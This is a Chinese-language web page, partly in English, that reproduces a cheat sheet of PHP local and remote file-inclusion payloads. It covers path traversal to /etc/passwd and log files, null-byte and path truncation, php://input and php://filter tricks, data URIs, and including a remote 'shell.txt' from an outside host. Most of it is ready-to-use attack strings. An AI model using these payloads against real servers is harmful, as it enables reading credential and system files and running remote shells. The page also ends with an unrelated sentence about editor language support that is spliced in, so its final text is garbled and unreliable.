文章简单的分析了在php文件包含时inlcude的一个漏洞分析,下面希望对大家有点用处哦。

基本的文件包含漏洞:

 代码如下 复制代码

* 包含同路径下的文件:
?file=.htaccess
* 路径遍历:
?file=../../../../../../../../../var/lib/locate.db
(该文件非常有趣因为它允许你搜索文件系统)
* 包含注入PHP代码的文件:
?file=../../../../../../../../../var/log/apache/error.log
(you can find other possible Apache dirs here and other ways here. Think about all possible logfiles, file uploads, session files etc.)

受限的本地文件包含:

 代码如下 复制代码
 
* 空字符注入(Null Byte Injection):
?file=../../../../../../../../../etc/passwd%00
(需要magic_quotes_gpc=off)
* 列目录(Null Byte Injection):
?file=../../../../../../../../../var/www/accounts/%00
(仅限BSD, 需要magic_quotes_gpc=off,详细信息here)
*路径截断(Path Truncation):
?file=../../../../../../../../../etc/passwd........... …
(详细信息参见 here 和 here)
* 点号截断:
?file=../../../../../../../../../etc/passwd……………. …
(仅限Windows, 更多细节参见 here)

基本的远程文件包含:

 代码如下 复制代码


* 包含远程代码(Including Remote Code):

?file=[http|https|ftp]://websec.wordpress.com/shell.txt

(需要 allow_url_fopen=On 和 allow_url_include=On)

* 使用php输入流(Using PHP stream php://input):

?file=php://input
(specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On)

* 使用PHP过滤函数(Using PHP stream php://filter):
?file=php://filter/convert.base64-encode/resource=index.php
(lets you read PHP source because it wont get evaluated in base64. More details here and here)
* Using data URIs:
?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
(需要 allow_url_include=On)

* 用于跨站脚本攻击(Using XSS):

 代码如下 复制代码
?file=http://127.0.0.1/path/xss.php?xss=phpcode
(makes sense if firewalled or only whitelisted domains allowed)

受限的远程文件包含漏洞

 代码如下 复制代码

* ?file=http://websec.wordpress.com/shell
* ?file=http://websec.wordpress.com/shell.txt?
* ?file=http://websec.wordpress.com/shell.txt%23
(需要 allow_url_fopen=On 和 allow_url_include=On)

静态远程文件包含漏洞:

 代码如下 复制代码


* 中间人攻击(Man In The Middle)
(lame indeed, but often forgotten)

Supports almost all languages, including RTL (Arabic and Hebrew) and CJK (Chinese, Japanese and Korean). Supports nested block-level elements (such as P, DIV),
